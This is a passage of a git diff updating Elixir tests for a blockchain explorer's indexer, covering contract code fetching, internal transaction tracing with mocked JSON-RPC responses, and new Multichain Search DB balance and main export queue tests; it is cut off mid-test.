@tag :no_nethermind test "fetched codes for address_hashes", %{json_rpc_named_arguments: json_rpc_named_arguments} do variant = Keyword.fetch!(json_rpc_named_arguments, :variant) @@ -47,7 +47,7 @@ defmodule Indexer.Fetcher.ContractCodeTest do } } - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> %{ block_number: 348_179, code: @@ -80,15 +80,28 @@ defmodule Indexer.Fetcher.ContractCodeTest do end) end + block = insert(:block, number: block_number) insert(:address, hash: address) - insert(:transaction, hash: hash, created_contract_address_hash: address) + + transaction = + insert(:transaction, + block_hash: block.hash, + block_number: block.number, + hash: hash, + created_contract_address_hash: address, + cumulative_gas_used: 21000, + gas_used: 21000, + index: 0, + status: :ok + ) ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) assert :ok = - ContractCode.async_fetch([ - %{created_contract_address_hash: address, block_number: block_number, hash: hash} - ]) + ContractCode.async_fetch( + [transaction], + false + ) fetched_address = wait(fn -> @@ -103,6 +116,47 @@ defmodule Indexer.Fetcher.ContractCodeTest do assert updated_transaction.created_contract_code_indexed_at end + + test "doesn't fetch code for failed transactions", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block = insert(:block) + address = insert(:address) + + transaction = + insert(:transaction, + block_hash: block.hash, + block_number: block.number, + created_contract_address_hash: address.hash, + cumulative_gas_used: 21000, + gas_used: 21000, + index: 0, + status: :error + ) + + # Initial verification - contract_code should be nil + assert Repo.get!(Address, address.hash).contract_code == nil + + # Start contract code fetcher + ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + # Try to fetch the contract code - should not trigger an actual RPC call + # because the transaction failed + assert :ok = + ContractCode.async_fetch( + [transaction], + false + ) + + # Wait a bit to ensure any potential processing is done + Process.sleep(100) + + # Verify that the contract code was set to "0x" + updated_address = Repo.get!(Address, address.hash) + assert to_string(updated_address.contract_code) == "0x" + + # Verify that the transaction's created_contract_code_indexed_at remains nil + updated_transaction = Repo.get!(Transaction, transaction.hash) + assert updated_transaction.created_contract_code_indexed_at + end end defp wait(producer) do diff --git a/apps/indexer/test/indexer/fetcher/internal_transaction_test.exs b/apps/indexer/test/indexer/fetcher/internal_transaction_test.exs index 1c56536117e8..8d864bb2c347 100644 --- a/apps/indexer/test/indexer/fetcher/internal_transaction_test.exs +++ b/apps/indexer/test/indexer/fetcher/internal_transaction_test.exs @@ -2,11 +2,15 @@ defmodule Indexer.Fetcher.InternalTransactionTest do use EthereumJSONRPC.Case, async: false use Explorer.DataCase + import ExUnit.CaptureLog import Mox - alias Explorer.Chain - alias Explorer.Chain.PendingBlockOperation - alias Indexer.Fetcher.{CoinBalance, InternalTransaction, PendingTransaction} + alias Ecto.Multi + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Block, PendingBlockOperation, PendingTransactionOperation} + alias Explorer.Chain.Import.Runner.Blocks + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Indexer.Fetcher.{InternalTransaction, PendingTransaction, TokenBalance} # MUST use global mode because we aren't guaranteed to get PendingTransactionFetcher's pid back fast enough to `allow` # it to use expectations and stubs from test's pid. @@ -14,6 +18,13 @@ defmodule Indexer.Fetcher.InternalTransactionTest do setup :verify_on_exit! + setup do + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + end + @moduletag [capture_log: true, no_geth: true] test "does not try to fetch pending transactions from Indexer.Fetcher.PendingTransaction", %{ @@ -21,7 +32,7 @@ defmodule Indexer.Fetcher.InternalTransactionTest do } do if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> EthereumJSONRPC.Mox |> expect(:json_rpc, fn _json, _options -> {:ok, @@ -62,8 +73,9 @@ defmodule Indexer.Fetcher.InternalTransactionTest do end end - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) PendingTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + start_token_balance_fetcher(json_rpc_named_arguments) wait_for_results(fn -> Repo.one!(from(transaction in Explorer.Chain.Transaction, where: is_nil(transaction.block_hash), limit: 1)) @@ -81,7 +93,7 @@ defmodule Indexer.Fetcher.InternalTransactionTest do } do if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> EthereumJSONRPC.Mox |> expect(:json_rpc, fn [%{id: id}], _options -> {:ok, @@ -100,7 +112,9 @@ defmodule Indexer.Fetcher.InternalTransactionTest do block_number = 1_000_006 block = insert(:block, number: block_number) - insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) + + start_token_balance_fetcher(json_rpc_named_arguments) assert :ok = InternalTransaction.run([block_number], json_rpc_named_arguments) @@ -116,7 +130,7 @@ defmodule Indexer.Fetcher.InternalTransactionTest do json_rpc_named_arguments: json_rpc_named_arguments } do block = insert(:block) - insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) assert InternalTransaction.init( [], @@ -129,8 +143,7 @@ defmodule Indexer.Fetcher.InternalTransactionTest do test "does not buffer blocks with fetched internal transactions", %{ json_rpc_named_arguments: json_rpc_named_arguments } do - block = insert(:block) - insert(:pending_block_operation, block_hash: block.hash, fetch_internal_transactions: false) + insert(:block) assert InternalTransaction.init( [], @@ -146,7 +159,7 @@ defmodule Indexer.Fetcher.InternalTransactionTest do } do if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> EthereumJSONRPC.Mox |> expect(:json_rpc, fn [%{id: id}], _options -> {:ok, @@ -169,7 +182,9 @@ defmodule Indexer.Fetcher.InternalTransactionTest do block = insert(:block) block_hash = block.hash - insert(:pending_block_operation, block_hash: block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block_hash, block_number: block.number) + + start_token_balance_fetcher(json_rpc_named_arguments) assert %{block_hash: block_hash} = Repo.get(PendingBlockOperation, block_hash) @@ -184,11 +199,11 @@ defmodule Indexer.Fetcher.InternalTransactionTest do block = insert(:block) transaction = insert(:transaction) |> with_block(block) block_hash = block.hash - insert(:pending_block_operation, block_hash: block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block_hash, block_number: block.number) if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> EthereumJSONRPC.Mox |> expect(:json_rpc, fn [%{id: id, method: "trace_replayBlockTransactions"}], _options -> {:ok, @@ -274,7 +289,8 @@ defmodule Indexer.Fetcher.InternalTransactionTest do end end - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + start_token_balance_fetcher(json_rpc_named_arguments) assert %{block_hash: block_hash} = Repo.get(PendingBlockOperation, block_hash) @@ -297,7 +313,7 @@ defmodule Indexer.Fetcher.InternalTransactionTest do block = insert(:block) insert(:transaction) |> with_block(block) block_hash = block.hash - insert(:pending_block_operation, block_hash: block_hash, fetch_internal_transactions: true) + insert(:pending_block_operation, block_hash: block_hash, block_number: block.number) assert %{block_hash: ^block_hash} = Repo.get(PendingBlockOperation, block_hash) @@ -305,5 +321,318 @@ defmodule Indexer.Fetcher.InternalTransactionTest do assert %{block_hash: ^block_hash} = Repo.get(PendingBlockOperation, block_hash) end + + test "set block refetch_needed=true on foreign_key_violation", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + block = insert(:block) + transaction = :transaction |> insert() |> with_block(block) + block_number = block.number + insert(:pending_block_operation, block_hash: block.hash, block_number: block.number) + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + case Keyword.fetch!(json_rpc_named_arguments, :variant) do + EthereumJSONRPC.Nethermind -> + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [%{id: id, method: "trace_replayBlockTransactions"}], _options -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0xa931c862e662134b85e4dc4baf5c70cc9ba74db4", + "gas" => "0x8600", + "input" => "0xb118e2db0000000000000000000000000000000000000000000000000000000000000008", + "to" => "0x1469b17ebf82fedf56f04109e5207bdc4554288c", + "value" => "0x174876e800" + }, + "result" => %{"gasUsed" => "0x7d37", "output" => "0x"}, + "subtraces" => 1, + "traceAddress" => [], + "type" => "call" + }, + %{ + "action" => %{ + "callType" => "call", + "from" => "0xb37b428a7ddee91f39b26d79d23dc1c89e3e12a7", + "gas" => "0x32dcf", + "input" => "0x42dad49e", + "to" => "0xee4019030fb5c2b68c42105552c6268d56c6cbfe", + "value" => "0x0" + }, + "result" => %{ + "gasUsed" => "0xb08", + "output" => "0x" + }, + "subtraces" => 0, + "traceAddress" => [0], + "type" => "call" + } + ], + "transactionHash" => transaction.hash, + "vmTrace" => nil + }, + %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0xa931c862e662134b85e4dc4baf5c70cc9ba74db4", + "gas" => "0x8600", + "input" => "0xb118e2db0000000000000000000000000000000000000000000000000000000000000008", + "to" => "0x1469b17ebf82fedf56f04109e5207bdc4554288c", + "value" => "0x174876e800" + }, + "result" => %{"gasUsed" => "0x7d37", "output" => "0x"}, + "subtraces" => 1, + "traceAddress" => [], + "type" => "call" + }, + %{ + "action" => %{ + "callType" => "call", + "from" => "0xb37b428a7ddee91f39b26d79d23dc1c89e3e12a7", + "gas" => "0x32dcf", + "input" => "0x42dad49e", + "to" => "0xee4019030fb5c2b68c42105552c6268d56c6cbfe", + "value" => "0x0" + }, + "result" => %{ + "gasUsed" => "0xb08", + "output" => "0x" + }, + "subtraces" => 0, + "traceAddress" => [0], + "type" => "call" + } + ], + "transactionHash" => transaction_hash(), + "vmTrace" => nil + } + ] + } + ]} + end) + + EthereumJSONRPC.Geth -> + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [%{id: id, method: "debug_traceTransaction"}], _options -> + {:ok, + [ + %{ + id: id, + result: [ + %{ + "blockNumber" => block.number, + "transactionIndex" => 0, + "transactionHash" => transaction.hash, + "index" => 0, + "traceAddress" => [], + "type" => "call", + "callType" => "call", + "from" => "0xa931c862e662134b85e4dc4baf5c70cc9ba74db4", + "to" => "0x1469b17ebf82fedf56f04109e5207bdc4554288c", + "gas" => "0x8600", + "gasUsed" => "0x7d37", + "input" => "0xb118e2db0000000000000000000000000000000000000000000000000000000000000008", + "output" => "0x", + "value" => "0x174876e800" + }, + %{ + "blockNumber" => block.number, + "transactionIndex" => 0, + "transactionHash" => transaction_hash(), + "index" => 0, + "traceAddress" => [], + "type" => "call", + "callType" => "call", + "from" => "0xa931c862e662134b85e4dc4baf5c70cc9ba74db4", + "to" => "0x1469b17ebf82fedf56f04109e5207bdc4554288c", + "gas" => "0x8600", + "gasUsed" => "0x7d37", + "input" => "0xb118e2db0000000000000000000000000000000000000000000000000000000000000008", + "output" => "0x", + "value" => "0x174876e800" + } + ] + } + ]} + end) + + variant_name -> + raise ArgumentError, "Unsupported variant name (#{variant_name})" + end + end + + logs = + capture_log(fn -> + assert {:retry, [^block_number]} = InternalTransaction.run([block_number], json_rpc_named_arguments) + end) + + assert %{consensus: true, refetch_needed: true} = Repo.reload(block) + assert logs =~ "foreign_key_violation on internal transactions import, foreign transactions hashes:" + end + end + + test "doesn't delete pending block operations after block import if no async process was requested", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + fetcher_options = + Keyword.merge([poll: true, json_rpc_named_arguments: json_rpc_named_arguments], InternalTransaction.defaults()) + + if fetcher_options[:poll] do + expect(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id}], _options -> + {:ok, [%{id: id, result: []}]} + end) + end + + InternalTransaction.Supervisor.Case.start_supervised!(fetcher_options) + + %Ecto.Changeset{valid?: true, changes: block_changes} = + Block.changeset(%Block{}, params_for(:block, miner_hash: insert(:address).hash, number: 1)) + + changes_list = [block_changes] + timestamp = DateTime.utc_now() + options = %{timestamps: %{inserted_at: timestamp, updated_at: timestamp}} + + assert [] = Repo.all(PendingBlockOperation) + + {:ok, %{blocks: [%{number: block_number, hash: block_hash}]}} = + Multi.new() + |> Blocks.run(changes_list, options) + |> Repo.transaction() + + assert %{block_number: ^block_number, block_hash: ^block_hash} = Repo.one(PendingBlockOperation) + + Process.sleep(4000) + + assert %{block_number: ^block_number, block_hash: ^block_hash} = Repo.one(PendingBlockOperation) + end + + if Application.compile_env(:explorer, :chain_type) == :arbitrum do + test "fetches internal transactions from Arbitrum", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, false)) + + json_rpc_named_arguments = + json_rpc_named_arguments + |> Enum.reject(fn {key, _value} -> key == :variant || key == :transport_options end) + |> Enum.concat([{:variant, EthereumJSONRPC.Geth}]) + |> Enum.concat([{:transport_options, [http_options: []]}]) + + block = insert(:block, number: 1) + _transaction = :transaction |> insert() |> with_block(block) + block_number = block.number + block_hash = block.hash + insert(:pending_block_operation, block_hash: block_hash, block_number: block_number) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [%{id: id, method: "debug_traceTransaction"}], _options -> + {:ok, + [ + %{ + id: id, + result: %{ + "afterEVMTransfers" => [], + "beforeEVMTransfers" => [], + "calls" => [ + %{ + "from" => "0x0000000000000000000000000000000000000000", + "gas" => "0x0", + "gasUsed" => "0x0", + "input" => "0x", + "to" => "0x888f05d02ea7b42f32f103c089c1750170830642", + "type" => "INVALID", + "value" => "0xbf676993d52eb8bfe" + }, + %{ + "from" => "0x888f05d02ea7b42f32f103c089c1750170830642", + "gas" => "0x0", + "gasUsed" => "0x0", + "input" => "0x", + "to" => "0x6cbb552855ce5eb70af49b76a8048be8e3799a05", + "type" => "INVALID", + "value" => "0x0" + }, + %{ + "from" => "0x888f05d02ea7b42f32f103c089c1750170830642", + "gas" => "0x0", + "gasUsed" => "0x0", + "input" => "0x", + "to" => "0xfdaf8f210d52a3f8ee416ad06ff4a0868bb649d4", + "type" => "INVALID", + "value" => "0x64425bdf7e3fc6462" + }, + %{ + "from" => "0x888f05d02ea7b42f32f103c089c1750170830642", + "gas" => "0x0", + "gasUsed" => "0x0", + "input" => "0x", + "to" => "0xbeb639f6ac1e9ca8a4badb4e0f888fd150c042cb", + "type" => "INVALID", + "value" => "0x5b250db3e722b43fc" + }, + %{ + "from" => "0x888f05d02ea7b42f32f103c089c1750170830642", + "gas" => "0x0", + "gasUsed" => "0x0", + "input" => "0x", + "to" => "0xfdaf8f210d52a3f8ee416ad06ff4a0868bb649d4", + "type" => "INVALID", + "value" => "0x6fcc3e3a0" + } + ], + "from" => "0x888f05d02ea7b42f32f103c089c1750170830642", + "gas" => "0x0", + "gasUsed" => "0x0", + "input" => + "0xc9f95d32000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bf676993d52eb8bfe000000000000000000000000000000000000000000000005b250db3e722b43fc00000000000000000000000000000000000000000000000000000000000f439e00000000000000000000000000000000000000000000000000000000000075300000000000000000000000000000000000000000000000064425bdf7e3fc6462000000000000000000000000fdaf8f210d52a3f8ee416ad06ff4a0868bb649d4000000000000000000000000fdaf8f210d52a3f8ee416ad06ff4a0868bb649d4000000000000000000000000fdaf8f210d52a3f8ee416ad06ff4a0868bb649d400000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000000", + "to" => "0x000000000000000000000000000000000000006e", + "type" => "CALL", + "value" => "0x0" + } + } + ]} + end) + + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + assert %{block_hash: block_hash} = Repo.get(PendingBlockOperation, block_hash) + + assert :ok == InternalTransaction.run([block_number], json_rpc_named_arguments) + + assert nil == Repo.get(PendingBlockOperation, block_hash) + + internal_transactions = Repo.all(from(i in Chain.InternalTransaction, where: i.block_hash == ^block_hash)) + + assert Enum.count(internal_transactions) > 0 + + last_internal_transaction = List.last(internal_transactions) + + assert last_internal_transaction.type == :call + assert last_internal_transaction.call_type == :invalid + end + end + + # Due to token-duality feature in Celo network (native coin transfers are + # treated as token transfers), we need to fetch updated token balances after + # parsing the internal transactions + if Application.compile_env(:explorer, :chain_type) == :celo do + defp start_token_balance_fetcher(json_rpc_named_arguments) do + TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + end + else + defp start_token_balance_fetcher(_json_rpc_named_arguments), do: :ok end end diff --git a/apps/indexer/test/indexer/fetcher/multichain_search_db/balances_export_queue_test.exs b/apps/indexer/test/indexer/fetcher/multichain_search_db/balances_export_queue_test.exs new file mode 100644 index 000000000000..a04cbd0aa05e --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/multichain_search_db/balances_export_queue_test.exs @@ -0,0 +1,363 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.BalancesExportQueueTest do + use ExUnit.Case + use Explorer.DataCase + + import ExUnit.CaptureLog, only: [capture_log: 1] + + alias Explorer.Chain + alias Explorer.Chain.Wei + alias Explorer.Chain.MultichainSearchDb.BalancesExportQueue + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.TestHelper + + alias Indexer.Fetcher.MultichainSearchDb.BalancesExportQueue, + as: MultichainSearchDbExportBalancesExportQueue + + alias Plug.Conn + + @moduletag :capture_log + + setup do + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + Application.put_env(:indexer, MultichainSearchDbExportBalancesExportQueue.Supervisor, disabled?: false) + + on_exit(fn -> + Application.put_env(:indexer, MultichainSearchDbExportBalancesExportQueue.Supervisor, disabled?: true) + end) + + :ok + end + + describe "init/3" do + setup do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + end) + end + + test "initializes with data from the retry queue" do + {:ok, address_hash} = + Chain.string_to_address_hash("0x66A9B160F6a06f53f23785F069882Ee7337180E8") + + erc_20_contract_address_hash_bytes = "A0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48" |> Base.decode16!(case: :mixed) + nft_contract_address_hash_bytes = "B01b6a7EF8560017AA59A990e39f26b8df29F80f" |> Base.decode16!(case: :mixed) + + insert(:multichain_search_db_export_balances_queue, %{ + address_hash: address_hash, + token_contract_address_hash_or_native: "native", + value: 100, + token_id: nil + }) + + insert(:multichain_search_db_export_balances_queue, %{ + address_hash: address_hash, + token_contract_address_hash_or_native: erc_20_contract_address_hash_bytes, + value: 200, + token_id: nil + }) + + insert(:multichain_search_db_export_balances_queue, %{ + address_hash: address_hash, + token_contract_address_hash_or_native: nft_contract_address_hash_bytes, + value: nil, + token_id: 12345 + }) + + reducer = fn data, acc -> [data | acc] end + + pid = + [] + |> MultichainSearchDbExportBalancesExportQueue.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + + results = MultichainSearchDbExportBalancesExportQueue.init([], reducer, nil) + + assert Enum.count(results) == 3 + + assert Enum.member?(results, %{ + address_hash: address_hash, + token_contract_address_hash_or_native: "native", + value: %Wei{value: Decimal.new(100)}, + token_id: nil + }) + + assert Enum.member?(results, %{ + address_hash: address_hash, + token_contract_address_hash_or_native: erc_20_contract_address_hash_bytes, + value: %Wei{value: Decimal.new(200)}, + token_id: nil + }) + + assert Enum.member?(results, %{ + address_hash: address_hash, + token_contract_address_hash_or_native: nft_contract_address_hash_bytes, + value: nil, + token_id: Decimal.new(12345) + }) + + :timer.sleep(10) + GenServer.stop(pid) + end + end + + describe "run/2" do + setup do + bypass = Bypass.open() + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end) + + {:ok, bypass: bypass} + end + + test "successfully processes multichain search db export retry queue data", %{bypass: bypass} do + {:ok, address_hash} = + Chain.string_to_address_hash("0x66A9B160F6a06f53f23785F069882Ee7337180E8") + + {:ok, erc_20_contract_address_hash} = + Chain.string_to_address_hash("0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48") + + {:ok, nft_contract_address_hash} = + Chain.string_to_address_hash("0xB01b6a7EF8560017AA59A990e39f26b8df29F80f") + + export_data = [ + %{ + address_hash: address_hash, + token_contract_address_hash_or_native: "native", + value: %Wei{value: Decimal.new(100)} + }, + %{ + address_hash: erc_20_contract_address_hash, + token_contract_address_hash_or_native: erc_20_contract_address_hash.bytes, + value: %Wei{value: Decimal.new(200)}, + token_id: nil + }, + %{ + address_hash: nft_contract_address_hash, + token_contract_address_hash_or_native: nft_contract_address_hash.bytes, + value: nil, + token_id: Decimal.new(12345) + } + ] + + TestHelper.get_chain_id_mock() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{"status" => "ok"}) + ) + end) + + assert :ok = MultichainSearchDbExportBalancesExportQueue.run(export_data, nil) + end + + test "returns {:retry, failed_data} on error where failed_data is only chunks that failed to export", %{ + bypass: _bypass + } do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + addresses_chunk_size: 1 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + end) + + address_1 = insert(:address) + address_1_hash = address_1.hash + address_1_hash_string = to_string(address_1_hash) + address_2 = insert(:address) + address_2_hash = address_2.hash + address_2_hash_string = to_string(address_2_hash) + address_3 = insert(:address) + address_3_hash = address_3.hash + address_3_hash_string = to_string(address_3_hash) + address_4 = insert(:address) + address_5 = insert(:address) + address_5_hash = address_5.hash + address_5_hash_string = to_string(address_5_hash) + token_address_1 = insert(:address) + token_address_1_hash_string = to_string(token_address_1) |> String.downcase() + token_address_2 = insert(:address) + token_address_2_hash_string = to_string(token_address_2) |> String.downcase() + + export_data = [ + %{ + address_hash: address_1.hash, + token_contract_address_hash_or_native: "native", + value: %Wei{value: Decimal.new(100)} + }, + %{ + address_hash: address_2.hash, + token_contract_address_hash_or_native: token_address_1.hash.bytes, + value: %Wei{value: Decimal.new(200)}, + token_id: nil + }, + %{ + address_hash: address_3.hash, + token_contract_address_hash_or_native: token_address_2.hash.bytes, + value: %Wei{value: Decimal.new(300)}, + token_id: nil + }, + %{ + address_hash: address_4.hash, + token_contract_address_hash_or_native: "native", + value: %Wei{value: Decimal.new(400)} + }, + %{ + address_hash: address_5.hash, + token_contract_address_hash_or_native: token_address_1.hash.bytes, + value: %Wei{value: Decimal.new(500)}, + token_id: nil + } + ] + + TestHelper.get_chain_id_mock() + + tesla_expectations(address_1_hash_string) + + val0 = Decimal.new(100) |> Wei.cast() |> elem(1) + val1 = Decimal.new(200) |> Wei.cast() |> elem(1) + val2 = Decimal.new(300) |> Wei.cast() |> elem(1) + val4 = Decimal.new(500) |> Wei.cast() |> elem(1) + + log = + capture_log(fn -> + assert {:retry, + %{ + address_coin_balances: [ + %{ + address_hash: ^address_1_hash_string, + token_contract_address_hash_or_native: "native", + value: ^val0 + } + ], + address_token_balances: [ + %{ + address_hash: ^address_5_hash_string, + token_address_hash: ^token_address_1_hash_string, + value: ^val4, + token_id: nil + }, + %{ + address_hash: ^address_3_hash_string, + token_address_hash: ^token_address_2_hash_string, + value: ^val2, + token_id: nil + }, + %{ + address_hash: ^address_2_hash_string, + token_address_hash: ^token_address_1_hash_string, + value: ^val1, + token_id: nil + } + ] + }} = MultichainSearchDbExportBalancesExportQueue.run(export_data, nil) + end) + + assert Repo.aggregate(BalancesExportQueue, :count, :id) == 4 + results = Repo.all(BalancesExportQueue) + assert Enum.all?(results, &(&1.retries_number == nil)) + assert log =~ "Batch balances export retry to the Multichain Search DB failed" + + TestHelper.get_chain_id_mock() + + tesla_expectations(address_1_hash_string) + + MultichainSearchDbExportBalancesExportQueue.run(export_data, nil) + + assert Repo.aggregate(BalancesExportQueue, :count, :id) == 4 + results = Repo.all(BalancesExportQueue) + assert Enum.all?(results, &(&1.retries_number == 1)) + + # Check, that `retries_number` is incrementing + + TestHelper.get_chain_id_mock() + + tesla_expectations(address_1_hash_string) + + MultichainSearchDbExportBalancesExportQueue.run(export_data, nil) + + assert Repo.aggregate(BalancesExportQueue, :count, :id) == 4 + results = Repo.all(BalancesExportQueue) + assert Enum.all?(results, &(&1.retries_number == 2)) + + export_data_2 = [ + %{ + address_hash: address_2.hash, + token_contract_address_hash_or_native: token_address_1.hash.bytes, + value: %Wei{value: Decimal.new(200)}, + token_id: nil + }, + %{ + address_hash: address_3.hash, + token_contract_address_hash_or_native: token_address_2.hash.bytes, + value: %Wei{value: Decimal.new(300)}, + token_id: nil + }, + %{ + address_hash: address_1.hash, + token_contract_address_hash_or_native: "native", + value: %Wei{value: Decimal.new(100)} + }, + %{ + address_hash: address_5.hash, + token_contract_address_hash_or_native: token_address_1.hash.bytes, + value: %Wei{value: Decimal.new(500)}, + token_id: nil + } + ] + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", body: body}, _opts -> + case Jason.decode(body) do + _ -> + {:ok, %Tesla.Env{status: 200, body: Jason.encode!(%{"status" => "ok"})}} + end + end + ) + + MultichainSearchDbExportBalancesExportQueue.run(export_data_2, nil) + + assert Repo.aggregate(BalancesExportQueue, :count, :id) == 0 + + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + end + end + + defp tesla_expectations(address_hash_string) do + Tesla.Test.expect_tesla_call( + times: 2, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", body: body}, _opts -> + case Jason.decode(body) do + {:ok, %{"address_coin_balances" => [%{"address_hash" => ^address_hash_string}]}} -> + {:ok, %Tesla.Env{status: 500, body: Jason.encode!(%{"code" => 0, "message" => "Error"})}} + + _ -> + {:ok, %Tesla.Env{status: 200, body: Jason.encode!(%{"status" => "ok"})}} + end + end + ) + end +end diff --git a/apps/indexer/test/indexer/fetcher/multichain_search_db/main_export_queue_test.exs b/apps/indexer/test/indexer/fetcher/multichain_search_db/main_export_queue_test.exs new file mode 100644 index 000000000000..41d4600c89de --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/multichain_search_db/main_export_queue_test.exs @@ -0,0 +1,266 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.MainExportQueueTest do + use ExUnit.Case + use Explorer.DataCase + + import ExUnit.CaptureLog, only: [capture_log: 1] + + alias Explorer.Chain.MultichainSearchDb.MainExportQueue + alias Explorer.Chain.Block.Range + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.TestHelper + alias Indexer.Fetcher.MultichainSearchDb.MainExportQueue, as: MultichainSearchDbMainExportQueue + alias Plug.Conn + + @moduletag :capture_log + + setup do + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + Application.put_env(:indexer, MultichainSearchDbMainExportQueue.Supervisor, disabled?: false) + + on_exit(fn -> + Application.put_env(:indexer, MultichainSearchDbMainExportQueue.Supervisor, disabled?: true) + end) + + :ok + end + + describe "init/3" do + setup do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + end) + end + + test "initializes with data from the retry queue" do + address_hash_bytes = "66A9B160F6a06f53f23785F069882Ee7337180E8" |> Base.decode16!(case: :mixed) + + block_hash_bytes = + "bba915260f4859d2c908d31296e125368c01e05ee59e2e691ea8d69cceac6e1b" |> Base.decode16!(case: :mixed) + + transaction_hash_bytes = + "aba197aa8a13871bdd53861f7b5108394000fc0f72893661ae39610e9cd94019" |> Base.decode16!(case: :mixed) + + insert(:multichain_search_db_main_export_queue, %{hash: address_hash_bytes, hash_type: :address}) + insert(:multichain_search_db_main_export_queue, %{hash: block_hash_bytes, hash_type: :block}) + insert(:multichain_search_db_main_export_queue, %{hash: transaction_hash_bytes, hash_type: :transaction}) + + reducer = fn data, acc -> [data | acc] end + + pid = + [] + |> MultichainSearchDbMainExportQueue.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + + results = MultichainSearchDbMainExportQueue.init([], reducer, nil) + + assert Enum.count(results) == 3 + assert Enum.member?(results, %{hash: 